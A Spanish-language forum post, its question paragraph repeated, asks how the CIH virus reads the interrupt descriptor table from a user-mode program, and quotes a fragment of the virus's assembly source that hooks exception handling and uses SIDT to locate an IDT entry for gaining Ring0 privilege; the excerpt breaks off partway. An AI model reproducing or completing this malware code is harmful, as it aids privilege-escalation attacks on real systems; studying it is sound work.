Hola,
Tengo una duda un poco tonta que me esta rompiendo la cabeza... el virus CIH, para obtener privilegios del sistema, altera la IDT y modifica la entrada de una excepcion que luego ocasiona. Sin embargo, ¿no son, tanto las instrucciones SIDT y LIDT privilegiadas de antemano? es decir, ¿como el virus accede a la IDT cuando es un simple EXE en modo usuario?:
Tengo una duda un poco tonta que me esta rompiendo la cabeza... el virus CIH, para obtener privilegios del sistema, altera la IDT y modifica la entrada de una excepcion que luego ocasiona. Sin embargo, ¿no son, tanto las instrucciones SIDT y LIDT privilegiadas de antemano? es decir, ¿como el virus accede a la IDT cuando es un simple EXE en modo usuario?:
Citar
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ;
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
;...